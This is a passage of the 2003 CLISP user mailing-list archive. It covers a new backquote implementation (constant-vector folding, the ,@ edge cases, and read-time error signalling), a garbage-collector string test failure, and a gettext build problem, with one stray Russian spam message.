clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 08:40:04 2003 X-Original-Date: Wed, 26 Mar 2003 08:38:05 -0800 (PST) On Wed, 26 Mar 2003, Hoehle, Joerg-Cyril wrote: > Kaz Kylheku wrote: > >Which reminds me that I should add some optimization for reducing > >a constant list to a constant vector; we should be spitting out > >the literal object: > > #(1 2 (2 3) 3) > Yes please: Thanks for the second reminder. I now put this simple change in. [9]> (macroexpand-1 '`#(1 2 ,@(list 10 20) 3)) #(1 2 10 20 3) ; T [10]> (macroexpand-1 '`#(1 2 ,@(list a 20) 3)) (APPLY #'VECTOR (LIST 1 2 A 20 3)) ; T > `(foo #(1 2 3) ,bar) > should not call (vector 1 2 3) at run-time. > > Or at least I believe so. > (list 'foo '#(1 2 3) bar) is the code I'd expect. [11]> (macroexpand '`(foo #(1 2 3) ,bar)) (LIST 'FOO #(1 2 3) BAR) ; T [12]> (macroexpand '`(foo #(1 ,x 3) ,bar)) (LIST 'FOO (APPLY #'VECTOR (LIST 1 X 3)) BAR) ; T [13]> (macroexpand '`(foo #(1 2 3) bar)) '(FOO #(1 2 3) BAR) ; T From kaz@footprints.net Wed Mar 26 13:25:35 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yIOO-0002cO-00 for ; Wed, 26 Mar 2003 13:25:04 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18yINr-0006Em-00; Wed, 26 Mar 2003 13:24:31 -0800 From: Kaz Kylheku To: "Hoehle, Joerg-Cyril" cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0313A179@G8PQD.blf01.telekom.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: on optimizations (was: New, from-scratch implementation of backqu ote.) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 13:26:13 2003 X-Original-Date: Wed, 26 Mar 2003 13:24:31 -0800 (PST) On Wed, 26 Mar 2003, Hoehle, Joerg-Cyril wrote: > Kaz implicitly raised the topic on who/what component ought to do > Lisp-level optimizations (or code-rewrites). Right. When your backquote puts out code like (APPEND (LIST A) (LIST B)) who should optimize that? In principle, the Lisp compiler can do the code transformation to (LIST A B), so the backquote implementor doesn't have to worry about it. > One can argue that the best place for optimizations at the Lisp-level > is the Lisp compiler[*]. Especially it's not the macro writer's job to > do trivial transformations of degenerate or simple cases. This makes > the macro's code clumsy and less readable. But then again macros *are* compilers. ;) Macros that are built into an implementation like CLISP are effectively part of the compiler. So whether or not backquote does the APPEND reduction, or the Lisp compiler, is immaterial to the user. It's an architectural decision impacting the internals. There is a good case that can be made for having backquote do the code transformations: the user can interact with backquote and see what it is doing. The optimized list construction code is also more readable, because it's closer to what a Lisp programmer would write, had she no backquote syntax. If I typed (macroexpand-1 '`(,a ,b ,c)) I'd rather read (LIST A B C) than (APPEND (LIST A) (LIST B) (LIST C)) When you have nested backquotes, the extra verbiage piles up on your brain. ;) Here is another way to look at it: the backquote translator is a robot programmer who writes *source* code, and as such, that programmer should write the same kind of decent code that a human would write. This is not really even an optimization issue; there is some esthetic principle involved here. :) Here is another consideration: there are cases when the backquote translator can legitimately reduce, for instance, (LIST 1 2 3) to '(1 2 3). But the Lisp compiler cannot do this reduction, because the result of the expression may be destructively manipulated somewhere. After the backquote expander has done its job, the context is lost: it's no longer obvious that the code came from a backquote notation. So then you are looking at either rolling the backquote logic into the compiler, doing the constant folding in the backquote implementation (so you are still arguably doing part of a compiler's job there, oops!) or having the backquote notation emit special annotations that hint to the compiler that the reduction may be done, like: (SYSTEM::THE-RESULT-OF-BQ-EXPANSION (APPEND ...)) Hmm. From kkumar@globeop.com Wed Mar 26 13:36:43 2003 Received: from mailgw.globeop.com ([63.161.117.40]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yIZe-0006LT-00 for ; Wed, 26 Mar 2003 13:36:42 -0800 Received: from exch1.globeop.com ([63.161.117.45]) by mailgw.globeop.com (NAVGW 2.5.2.9) with SMTP id M2003032616363905463 for ; Wed, 26 Mar 2003 16:36:39 -0500 Received: by exch1.globeop.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Mar 2003 16:34:39 -0500 Message-ID: <681618D67A77C047BD50EA3D3EBA7D2F01CFFA34@exch2.globeop.com> From: Krishna Kumar To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 13:37:14 2003 X-Original-Date: Wed, 26 Mar 2003 16:34:38 -0500 _________________________ Krishna Kumar GlobeOp Financial Services kkumar@globeop.com (p) 914-670-3841 (f) 914-670-3607 ...For in all bounds there is something positive, whereas limits contain mere negations Immanuel Kant. ---------------------------------------------------- This email with all information contained herein or attached hereto may contain confidential and/or privileged information intended for the addressee(s) only. If you have received this email in error, please contact the sender and immediately delete this email in its entirety and any attachments thereto. From ajpaha@isa.com Wed Mar 26 19:29:05 2003 Received: from hc210-63-247-142.fx.apol.com.tw ([210.63.247.142] helo=210.63.247.142) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yO4d-0004qN-00 for ; Wed, 26 Mar 2003 19:29:03 -0800 From: 235989@ray.fi To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Mailer: MailCity Service Message-ID: 235989@cam.ac.uk Subject: [clisp-list] Ìîáèëüíûå òåëåôîíû - â êðåäèò Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 19:30:02 2003 X-Original-Date: Wed, 26 Mar 2003 22:32:00 -0500 Ìîáèëüíûé òåëåôîí

Ìîáèëüíûå òåëåôîíû -
â êðåäèò  
www.liders.ru

1. Ëþáûå ìîäåëè òåëåôîíîâ â êðåäèò íà ïîëãîäà.

2. Íèêàêèõ ïîðó÷èòåëåé è áóìàæíîé âîëîêèòû- äîñòàòî÷íî ìîñêîâñêîé ïðîïèñêè.

3. Ñàìûå ëüãîòíûå óñëîâèÿ.

Íåìåäëåííî çâîíèòå: 799-92-68 (ìíîãîêàíàëüíûé)












*************** 2096956345 7BFE4AD1-31CB850D-57FE76B0-21343AC5-4F907D4C From pascal@informatimago.com Wed Mar 26 22:33:29 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yQx4-0008Lz-00 for ; Wed, 26 Mar 2003 22:33:27 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 17C9C97C9B; Thu, 27 Mar 2003 07:33:11 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: fr, es, en Reply-To: Message-Id: <20030327063311.17C9C97C9B@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] strings.erg Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 22:34:23 2003 X-Original-Date: Thu, 27 Mar 2003 07:33:11 +0100 (CET) After compiling the clisp from CVS I got yesterday, there's one error in the test cases: $ cat /local/src/clisp/clisp/src/suite/*.erg Form: (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #= \a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (A= REF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))= ) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF= (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO= S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))))) CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL)) CLISP : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T)) (It seems that the garbage collector reallocate the strings while the expected behavior was that it should not). Is this begnin (a test case not up to date perhaps) or does this need more investigation? --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From Joerg-Cyril.Hoehle@t-systems.com Thu Mar 27 02:16:05 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yUQV-0002CA-00 for ; Thu, 27 Mar 2003 02:16:03 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 27 Mar 2003 11:13:47 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 27 Mar 2003 11:13:46 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0313A5AF@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kaz@ashi.footprints.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 02:17:28 2003 X-Original-Date: Thu, 27 Mar 2003 11:13:40 +0100 Kaz, here are some more testcases: `(a (,@3) b) (A 3 B) `(a (,@3 4) b) ERROR I mention this one because I learnt about the (,@x) trick only recently (from cll?), despite having used CL for over a decade. I still find this (degenerate?) case a little weird, it does not fit my mental model: ,@ -> produce a proper list, whereas here the outer parentheses disappear, depending on the inner value. But this property can have its uses. There's always something new to learn in CLtL2/ANSI-CL :) BTW, how's ., support going? I use that quite often. (Actually, it's not backquote special, it's dotted list syntax + ,). `(a b .,c) -> (list* 'a 'b c) `(a ,@b .,c) ->? (append '(a) b c) -> (a <^b...> <^c...>) `(a ,. ... Hmm, above (,@X) behaviour looks suspicious considering http://www.lispworks.com/reference/HyperSpec/Body/02_df.htm * `(x1 x2 x3 ... xn . atom) may be interpreted to mean (append [ x1] [ x2] [ x3] ... [ xn] (quote atom)) -- [,@form] is interpreted as form. and the requirement that append shall accept only proper lists (except for the last). Neither does it seem to be covered by a CLtL2 interpretation of backquote and append http://www.supelec.fr/docs/cltl/clm/node190.html#BACKQUOTE http://www.supelec.fr/docs/cltl/clm/node149.html Regards, Jorg. From ampy@inbox.ru Thu Mar 27 05:13:52 2003 Received: from mx9.mail.ru ([194.67.57.19]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yXCY-0006mF-00 for ; Thu, 27 Mar 2003 05:13:50 -0800 Received: from [212.16.216.89] (helo=212.16.216.89) by mx9.mail.ru with esmtp (Exim SMTP.9) id 18yXCU-000POJ-00; Thu, 27 Mar 2003 16:13:47 +0300 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1223176928.20030327181643@inbox.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] linux: unable to build with gettext In-reply-To: References: <1714350856.20030325180858@inbox.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 05:14:25 2003 X-Original-Date: Thu, 27 Mar 2003 18:16:43 +1000 Hello Sam, Wednesday, March 26, 2003, 1:10:59 AM, you wrote: >> Alexander Semashko told me he was unable to build clisp 2.30 (not >> CVS) under Linux (Alt Linux) with gettext. I.e. clisp builds, but >> *features* doesn't contain GETTEXT. He uses gettext 0.11.5. He >> claims that there's no -DNO_GETTEXT in makefile. How can it be ? I >> have no problem with FreeBSD & clisp CVS. > $ grep -i gettext config.log > configure:4535: checking for xgettext > configure:4563: result: /usr/bin/xgettext > configure:4673: checking for GNU gettext in libc > ac_cv_path_XGETTEXT=/usr/bin/xgettext > gt_cv_func_gnugettext2_libc=yes > XGETTEXT='/usr/bin/xgettext' > #define HAVE_DCGETTEXT 1 > #define HAVE_GETTEXT 1 > $ > what does he have there? He has configure:4261: checking for xgettext configure:4289: result: /usr/local/bin/xgettext configure:4399: checking for GNU gettext in libc ac_cv_path_XGETTEXT=/usr/local/bin/xgettext gt_cv_func_gnugettext2_libc=yes #define HAVE_GETTEXT 1 #define HAVE_DCGETTEXT 1 Does it tell you something ? -- Best regards, Arseny mailto:ampy@inbox.ru From sds@gnu.org Thu Mar 27 06:43:33 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yYbN-0004Kn-00 for ; Thu, 27 Mar 2003 06:43:33 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop016.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030327144326.GBNT8278.pop016.verizon.net@loiso.podval.org>; Thu, 27 Mar 2003 08:43:26 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2REigTx022981; Thu, 27 Mar 2003 09:44:43 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2REidHQ022977; Thu, 27 Mar 2003 09:44:39 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] strings.erg References: <20030327063311.17C9C97C9B@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030327063311.17C9C97C9B@thalassa.informatimago.com> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.42.128] at Thu, 27 Mar 2003 08:43:26 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 06:44:10 2003 X-Original-Date: 27 Mar 2003 09:44:39 -0500 > * In message <20030327063311.17C9C97C9B@thalassa.informatimago.com> > * On the subject of "[clisp-list] strings.erg" > * Sent on Thu, 27 Mar 2003 07:33:11 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > After compiling the clisp from CVS I got yesterday, there's one error > in the test cases: > > CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL)) > CLISP : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T)) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Don't hit a man when he's down -- kick him; it's easier. From sds@gnu.org Thu Mar 27 06:46:56 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yYee-0005sT-00 for ; Thu, 27 Mar 2003 06:46:56 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030327144645.CYCK9562.out002.verizon.net@loiso.podval.org>; Thu, 27 Mar 2003 08:46:45 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2REm1Tx022993; Thu, 27 Mar 2003 09:48:02 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2REm1VN022989; Thu, 27 Mar 2003 09:48:01 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] linux: unable to build with gettext References: <1714350856.20030325180858@inbox.ru> <1223176928.20030327181643@inbox.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1223176928.20030327181643@inbox.ru> Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.42.128] at Thu, 27 Mar 2003 08:46:45 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 06:47:20 2003 X-Original-Date: 27 Mar 2003 09:48:01 -0500 > * In message <1223176928.20030327181643@inbox.ru> > * On the subject of "Re[2]: [clisp-list] linux: unable to build with gettext" > * Sent on Thu, 27 Mar 2003 18:16:43 +1000 > * Honorable Arseny Slobodjuck writes: > > Wednesday, March 26, 2003, 1:10:59 AM, you wrote: > > >> Alexander Semashko told me he was unable to build clisp 2.30 (not > >> CVS) under Linux (Alt Linux) with gettext. I.e. clisp builds, but > >> *features* doesn't contain GETTEXT. He uses gettext 0.11.5. He > >> claims that there's no -DNO_GETTEXT in makefile. How can it be ? I > >> have no problem with FreeBSD & clisp CVS. src/lispbibl.d: # Whether to use the GNU gettext library for internationalization: #if defined(ENABLE_NLS) && !defined(NO_GETTEXT) #define GNU_GETTEXT #endif src/spvw.d: #ifdef GNU_GETTEXT " :GETTEXT" #endif i.e., he has to check for ENABLE_NLS too: $ grep -i NLS config.log configure:4647: checking whether NLS is requested USE_NLS='yes' #define ENABLE_NLS 1 $ -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux You can have it good, soon or cheap. Pick two... From kaz@footprints.net Thu Mar 27 07:25:12 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yZFC-0003GT-00 for ; Thu, 27 Mar 2003 07:24:42 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18yZEh-0003UW-00; Thu, 27 Mar 2003 07:24:11 -0800 From: Kaz Kylheku To: "Hoehle, Joerg-Cyril" cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0313A5AF@G8PQD.blf01.telekom.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 07:26:03 2003 X-Original-Date: Thu, 27 Mar 2003 07:24:11 -0800 (PST) On Thu, 27 Mar 2003, Hoehle, Joerg-Cyril wrote: > Date: Thu, 27 Mar 2003 11:13:40 +0100 > From: "Hoehle, Joerg-Cyril" > To: clisp-list@lists.sourceforge.net > Cc: kaz@ashi.footprints.net > Subject: Re: New, from-scratch implementation of backquote. > > Kaz, > > here are some more testcases: > > `(a (,@3) b) > (A 3 B) This works, because (APPEND ... 3) works. Also: `(a (2 ,@3) b) gets you (A (2 . 3) B) I consider these behaviors extensions, because the HyperSpec states that `(x1 .. xn) is handled like `(x1 ... xn . nil) using the `(... . atom) case. So the abstract semantics say that you should get: (APPEND 3 'NIL) -> ERROR But I deviate from the abstract semantics in my implementation and do not handle (x1 ... xn . nil) in the same way as any other atom; I chop the NIL off so (APPEND 3) is generated (and then optimized). > I mention this one because I learnt about the (,@x) trick only > recently (from cll?), despite having used CL for over a decade. This tells me that the trick is circulating in the culture, which tells me that other Lisp implemenations have it, so it would indeed be a bad idea to reject the syntax. Oh, and among those ``other'' implementations is the unpatched CLISP. > I still find this (degenerate?) case a little weird, it does not fit > my mental model: ,@ -> produce a proper list, whereas here the outer > parentheses disappear, depending on the inner value. But this property > can have its uses. That's right; it does not fit the mental model of list splicing at all. Nor does it fit the mental model ``if it's an atom, splice it in alone as if it were a list of one element'', because then it would work in any position, not just the last. It only fits that mental model which pictures it as supplying an argument to append: `(,@A ,@B ,@C) --> (APPEND A B C). So if C evaluates to an atom, you get (APPEND A B ), which is supported by that function. > BTW, how's ., support going? I use that quite often. (Actually, it's > not backquote special, it's dotted list syntax + ,). > `(a b .,c) -> (list* 'a 'b c) Supported from day one; I was working closely from the CLHS, so as to not miss any requirements. (macroexpand-1 '`(a b . ,c)) -> (LIST* 'A 'B C) > `(a ,@b .,c) ->? (append '(a) b c) -> (a <^b...> <^c...>) > `(a ,. ... (macroexpand-1 '`(a ,@b . ,c)) -> (CONS 'A (APPEND B C)) From sds@gnu.org Thu Mar 27 08:21:12 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ya7q-0006H2-00 for ; Thu, 27 Mar 2003 08:21:10 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030327162103.CMOZ14673.out005.verizon.net@loiso.podval.org>; Thu, 27 Mar 2003 10:21:03 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2RGMKTx023162; Thu, 27 Mar 2003 11:22:20 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2RGMJtS023158; Thu, 27 Mar 2003 11:22:19 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.42.128] at Thu, 27 Mar 2003 10:21:03 -0600 Subject: [clisp-list] Re: New patch. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 08:22:03 2003 X-Original-Date: 27 Mar 2003 11:22:19 -0500 > * In message > * On the subject of "Re: New patch." > * Sent on Thu, 27 Mar 2003 07:27:39 -0800 (PST) > * Honorable Kaz Kylheku writes: > > http://users.footprints.net/~kaz/clisp-cvs-2003-04-26-backquote.diff read-from-string "`,@x") -ERROR +(SYSTEM::BACKQUOTE (SYSTEM::SPLICE X)) this is not good: backquote is a reader macro, so the error must be signalled at read time, not macroexpand time (CMUCL and unpatched CLISP signal at read time). -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Those who can laugh at themselves will never cease to be amused. From kaz@footprints.net Thu Mar 27 10:24:49 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yc30-0003dk-00 for ; Thu, 27 Mar 2003 10:24:18 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18yc2W-0004PV-00; Thu, 27 Mar 2003 10:23:48 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New patch. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 27 10:25:31 2003 X-Original-Date: Thu, 27 Mar 2003 10:23:48 -0800 (PST) On 27 Mar 2003, Sam Steingold wrote: > > * In message > > * On the subject of "Re: New patch." > > * Sent on Thu, 27 Mar 2003 07:27:39 -0800 (PST) > > * Honorable Kaz Kylheku writes: > > > > http://users.footprints.net/~kaz/clisp-cvs-2003-04-26-backquote.diff > > read-from-string "`,@x") > -ERROR > +(SYSTEM::BACKQUOTE (SYSTEM::SPLICE X)) > > this is not good: backquote is a reader macro, so the error must be > signalled at read time, not macroexpand time (CMUCL and unpatched CLISP > signal at read time). If you are really adamant about catching `,@FORM at read time, it can be achieved trivially. After the the backquote reader reads the following object, if it's a cons whose car is the symbol SYSTEM::SPLICE or SYSTEM::NSPLICE, then signal the error. But I think that the macro-expansion-time check should stay in place, to trap cases when the error occurs in ``synthetic'' backquotes. CLHS says that `,@FORM ``has undefined consequences'', which means that the behavior can range from harmless to fatal, without signaling an error. So I think this implementation is acceptable. In principle we could even silently provide some extension of behavior. In practice, will the difference matter to anyone? Typically the backquote macro will be expanded at compile time, which is right after the source is read. It makes a difference to backquotes that are not evaluates or expanded, such as quoted occurences. This just means that CLISP won't be a portability helper to the user in some rare cases. Besides, both the unpatched CLISP and CMUCL have backquote bugs, so phwft! :) I got this in an e-mail from Rob Warnock, though I did not try it first hand: cmucl> ``(,@,@'(a b c d)) Reader error at 202581 on #, Output = #>: ,@ after backquote in '(A B C D) Looks like the CMUCL reader likes to signal a ``,@ after backquote'' error even when no such mistake occurs in the source, and consequently fails to handle ,@,@ properly! Maybe if I ever fix this bug, the CMUCL behavior will change so that `,@FORM is caught later than read time. ;) From sds@gnu.org Thu Mar 27 11:49:11 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ydN7-0007zD-00 for ; Thu, 27 Mar 2003 11:49:10 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop016.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030327194901.IJCJ8278.pop016.verizon.net@loiso.podval.org>; Thu, 27 Mar 2003 13:49:01 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2RJoITx027299; Thu, 27 Mar 